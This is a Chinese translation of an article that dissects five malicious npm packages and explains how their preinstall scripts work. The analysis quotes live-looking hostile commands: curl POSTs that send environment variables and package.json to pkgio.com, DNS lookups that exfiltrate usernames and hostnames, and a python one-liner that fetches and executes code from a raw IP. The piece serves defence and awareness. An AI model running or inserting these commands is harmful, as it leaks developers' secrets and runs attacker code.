写点什么

剖析 Npm 恶意软件:五个软件包及其恶意安装脚本

作者:Gabi Dobocan

  • 2023-05-22
    北京
  • 本文字数:3226 字

    阅读完需:约 11 分钟

剖析Npm恶意软件:五个软件包及其恶意安装脚本

除非必要,不要使用 npm install script,这存在较大的安全风险。如果需要进行预编译等处理,可以考虑使用.gyp 文件。——npm 官方最佳实践


通过 npm 分发的软件包会声明安装前与安装后 hook,也就是在安装前或安装后将要运行的脚本。也就是说,在使用 npm CLI 安装软件包时,相应的脚本也会在机器上运行。


而且是静默运行,后台运行。听起来不妙啊,对吧?


安装脚本有啥用?


其实没啥用。根据 npm 发布的最佳实践:


不要使用 install。请使用 .gyp 文件进行编译,并用 prepare 处理其他情况。您几乎不必显式设置预安装或安装脚本,因此请在选择这种方式前仔细斟酌。install 或 preinstall 脚本的唯一作用,就是实现只能在特定架构上进行的编译。


更直白地讲,这些脚本的作用就是在软件包安装或更新时,自动执行某些必须完成的任务。它们可以确保安装包正确,并自动完成必要的设置或配置操作。例如,预安装脚本可能会检查系统中是否安装有某些依赖项、或者环境是否正确设置,安装后脚本则可能会编译资产或配置数据库。


安装脚本有哪些潜在危害


安装前与安装后脚本仍存在一定风险。例如,恶意软件包也许包含可能会损害用户系统的预安装脚本。此外,在安装过程中运行任意代码还可能引入安全漏洞或导致意外行为。


下面我们就从注册表中选取五个软件包,来看看安装脚本会造成哪些潜在的恶意影响。


软件包可能悄悄泄露私人数据


micro-username 安全性存疑的软件包。最新版本:0.0.1-security,最后发布时间:3 个月前。通过运行`npm i m…开始在您的项目中使用 micro-username。


micro-username 软件包已经在我们 2023 年 2 月的注册表中运行了约两天。它先后发布过 28 个版本,描述用途包括 “这是给微软用的” 、“用于测试依赖项混淆漏洞的简单 PoC 软件包”。


这个软件包的预安装脚本会悄悄泄露数据:



此脚本会 ping 一个 URL,该 URL 由多个命令构建而成,会公开开发设备的私人信息:


  • whoami 返回当前用户名或与当前用户相关联的用户 ID(UID)。在多数情况下,可能为用户的真实姓名;

  • pwd 返回当前工作目录,也就是用户当前所在或正在操作的目录。这会揭示关于当前机器的路径结构细节:

  • hostname 返回分配给所使用计算机或设备的名称。此名称可以是包括域名和主机名的完全限定域名(FQDN),也可以仅为主机名。

  • 其中 wget 的 --quiet 选项是一个命令行选项,会指示 wget 在静默模式下工作,意味着消除除基本进度指示器以外的所有输出。


@primeo/address 安全性存疑的软件包。最新版本:0.0.1-security,最后发布时间:一年前。通过运行`npm i @p…开始在您的项目中使用 @primeo/address。


@primeo/address 在 2021 年 12 月曾经上线过 4 天,虽然只有一个版本,但其安装脚本却非常复杂:



  1. nslookup (whoami).u.pkgio.com 相关联的 IP 地址。

  2. nslookup (uname --nodename).h.pkgio.com 相关联的 IP 地址。uname --nodename 命令用于确定当前机器的主机名,随后借此构造该主机名。

  3. curl -X POST -d @package.json -H ‘X-BOT: nope’ https://www.pkgio.com/.x773/package.json: 此命令发送一条 HTTP POST 请求,正文设置为文件 package.json 的内容,并由 -d 选项指定。其本质上是发出应用程序的 manifest 文件内容。

  4. env > /tmp/.env ; curl -X POST -d @/tmp/.env -H ‘X-BOT: nope’ https://www.pkgio.com/.x773/env.json: 此命令使用 env 命令将当前环境变量写入文件 /tmp/.env。之后,它会发送一条 HTTP POST 请求,其正文设置为文件 /tmp/.env 的内容,由 -d 选项指定。其本质上会将您的全部私有环境变量泄露给未知方。‍


@ovh-ui/oui-checkbox,安装控制软件包。最新版本:0.0.1-security,最后发布时间:10 个月前。通过运行`…在项目中使用 @ovh-ui/oui-checkbox。


@ovh-ui/oui-checkbox 曾在 2022 年 6 月上线过大约一周,似乎是法国公司 Sekost 漏洞奖励计划的一部分。它试图用 DNS 请求、而非 HTTP,来进一步逃避检测:



当我们使用域名运行 dig 命令时,它会向 DNS 服务器发送 DNS 查询并检索该域的相应 DNS 记录。这主要可以解决 DNS 问题、验证 DNS 配置或者执行 DNS 侦察。


但 dig 也可能被用于恶意目的。恶意软件可以使用 dig 从受感染的系统中窃取数据。利用 DNS 查询作为隐蔽通道,恶意软件能够绕过传统安全控制并避免被基于 IP 地址的安全工具给检测到。以上示例中的 nslookup 也是类似的用法。


此外,恶意软件还可以使用 dig 执行 DNS 隧道攻击,即使用 DNS 查询和响应在攻击者的系统和 C&C(命令与控制)服务器间传输数据,从而绕过防火墙和其他安全控制的手段。


软件包可以远程运行脚本,完全访问您的机器和数据


node-hsf,安全性存疑的软件包。最新版本:0.0.1-security,最后发布时间:5 年前。通过运行`npm i node-hsf…在您的项目中使用 node-hsf。


node-hsf 在 2018 年曾上线整整一个月,并试图在 https://github.com/alibaba/ 组织下提供虚假的 repo URL 以伪装成阿里巴巴的开源库。作者先后发布了七个版本,各版本都在探索不同的预安装脚本利用方式,包括下载和运行 Python 代码。


版本 1.3.3 实现了一种简单方法,即使用 wget 下载 Python 脚本并将其作为隐藏文件保存至用户的主目录,文件名选择了毫不起眼的.vim.hint:



到 1.3.4 版本,预安装脚本变得更加精巧:



下面来看上述命令的具体作用:


  1. nohup 负责在后台运行命令,并保证脚本能在终端被关闭之后仍继续运行。

  2. python 是用于执行 Python 代码的解释器。

  3. -c 表示应将以下参数视为待执行的命令。

  4. 'import urllib;exec urllib.urlopen(“http://121.196.214.81:8083/p.py\”).read()'是一行 Python 代码,用于导入 urllib 库并用它来下载和执行位于 URL http://121.196.214.81:8083/p.py 的 Python 脚本。

  5. & 是一个 shell 操作符,负责在后台运行以上命令,这样终端就能继续用于执行其他命


alicov,安全性存疑的软件包。最新版本:0.0.1-security,最后发布时间:5 年前。通过运行 npm i alicov. T…在您的项目中使用 alicov。


alicov 曾在 2018 年上线过约一个月,共发布过 15 个版本。它会使用复杂的安装脚本来掩盖其邪恶意图:



这个 Python 脚本定义了一条用于执行恶意操作的 lambda 函数,会请求具有潜在危险的 URL。lambda 函数是通过嵌套 contextlib.nested() 函数定义的,该函数会创建上下文管理器以清理资源。


(_import_(‘urllib’, _g,_g, (‘urlopen’,), 0)) 参数代表立即执行这条 lambda 函数,该参数会导入 urllib 模块,之后调用其 urlopen 函数以打开、编译并评估在潜在危险 URL 下的代码。


在此之后,脚本会输出一条消息,表示这是个假软件包,并警告用户不要使用 NPM 来获取正确的软件包……这似乎证明了其警告或者恶作剧的属性,旨在提醒用户注意不受信代码可能引发的风险。


一切 npm install 终将引发风险


在此次研究过程中,我们发现了很多直接在 package.json manifest 文件中声明恶意安装脚本的软件包。但除此之外,也有不少恶意软件精心设计了敏感代码的隐藏和混淆机制。整个 npm 注册表中目前约有 70 万个软件包版本声明了安装脚本,其都有可能对大家的开发设备或 CI build 的安全性造成危害。而且每一天,相信都有新的风险要素登陆 npm。


为了缓解这一风险,JavaScript 开发人员在使用 npm install script 时,应该格外谨慎,并且仅在必要时才使用该功能。请务必认真检查自己所使用软件包的安装脚本,且仅安装来自可信来源的软件包。


你还知道哪些 Npm 恶意软件包,欢迎评论区留言。


参考链接:


https://blog.sandworm.dev/dissecting-npm-malware-five-packages-and-their-evil-install-scripts


https://blog.sandworm.dev/the-npm-packages-that-troll-you


相关阅读:


前端开发:node.js 的 node 包管理器 npm 安装以及...

NPM 实用命令与快捷方式

前端包管理工具 npm yarn cnpm npx

Npm,Inc. 发布 Npm Pro,面向独立 JavaScript 开发人员

2023-05-22 13:3410492

评论

发布
暂无评论
发现更多内容

凡泰极客荣获了第二届产业互联高峰论坛「2022年度行业科技创新产品奖」

FinClip

企业想要提升数据分析能力,还需要选择瓴羊Quick BI

三十

面对庞大复杂的身份和权限管理,企业该怎么办?

华为云开发者联盟

后端 开发 数字化 华为云 12 月 PK 榜

LED电子显示屏加速在生活中的应用

Dylan

LED LED显示屏 led显示屏厂家

专访|开源之夏最佳质量奖 Apache RocketMQ Committer 黄章衡

Apache RocketMQ

#开源 消息列队

应用瓴羊Quick B,可以有效地提升企业的数据化分析能力

对不起该用户已成仙‖

Span抽取和元学习能碰撞出怎样的新火花,小样本实体识别来告诉你!

阿里云大数据AI技术

机器学习 12 月 PK 榜 小样本学习

如何利用A/B实验提升产品用户留存?看字节实战案例给你答案!

字节跳动数据平台

大数据 AB testing实战 12 月 PK 榜

什么是IT资产?如何保障IT资产安全?

行云管家

网络安全 数据安全 IT资产

数据安全新战场,EasyMR为企业筑起“安全防线”

袋鼠云数栈

数据安全 大数据基础平台

如何将传统 Web 框架迁移部署到 Serverless 架构?

Serverless Devs

Python 架构 前端

linux高可用小知识点汇总-行云管家

行云管家

高可用 ha 双机热备

全面支持 PyTorch 2.0:BladeDISC 5月~11月新功能发布

阿里云大数据AI技术

深度学习 编译器 PyTorch 12 月 PK 榜

RISC-V SIG 推出基于openEuler 的下游发行版 Eulaceura

openEuler

Linux 开源 操作系统 openEuler risc-v

跟我学Python图像处理丨带你入门OpenGL

华为云开发者联盟

Python 人工智能 华为云 12 月 PK 榜

不足10人的创业团队,怎么在半个月内上线一个新产品?

LigaAI

创业 敏捷开发管理 创业公司 远程开发 12 月 PK 榜

纷繁复杂见真章,华为云产品需求管理利器CodeArts Req解读

华为云开发者联盟

云计算 需求管理 华为云 12 月 PK 榜

DevEco Studio 3.1差异化构建打包,提升多版本应用开发效率

HarmonyOS开发者

HarmonyOS

功能强大的国产API管理神器 Eolink,亲测好用

海拥(haiyong.site)

开发工具 API API测试

HMS Core 6.8.0版本发布公告

HarmonyOS SDK

HMS Core

云安全系列5:2023 年需要了解的 40个云安全术语

HummerCloud

云计算 云安全

为什么很多产品经理,做不了产品管理?

LigaAI

产品经理 敏捷开发 产品管理 产品功能 12 月 PK 榜

构建高性能内存队列:Disruptor yyds~

小小怪下士

Java 高性能

实测|超融合数据库 MatrixDB 实现百万级 TPS!

YMatrix 超融合数据库

intel OLTP 超融合数据库 YMatrix tpcb

11月月更开奖啦!看看获奖名单有没有你?

InfoQ写作社区官方

热门活动

一文带你读懂 Google GUAC 项目

SEAL安全

Google 软件供应链安全 12 月 PK 榜 GUAC

城市云灾备,为业务连续性保驾护航

华为云开发者联盟

云计算 公有云 华为云 政务云 12 月 PK 榜

BI智慧仓储行业应用方案,让你的仓储物流不再复杂

葡萄城技术团队

前端 数据可视化 仓储 智慧仓储 大屏

企业的可视化分析能力想要提升,还需要多多关注瓴羊Quick BI

巷子

云数据库技术行业动态:ClickHouse Cloud正式GA或有融资;openGauss社区引入新成员

数据库小组

行业资讯 企业动态 产品功能 数据库技术

NFT盲盒质押分红挖矿dapp系统开发源码搭建

开发微hkkf5566

剖析Npm恶意软件:五个软件包及其恶意安装脚本_安全_InfoQ精选文章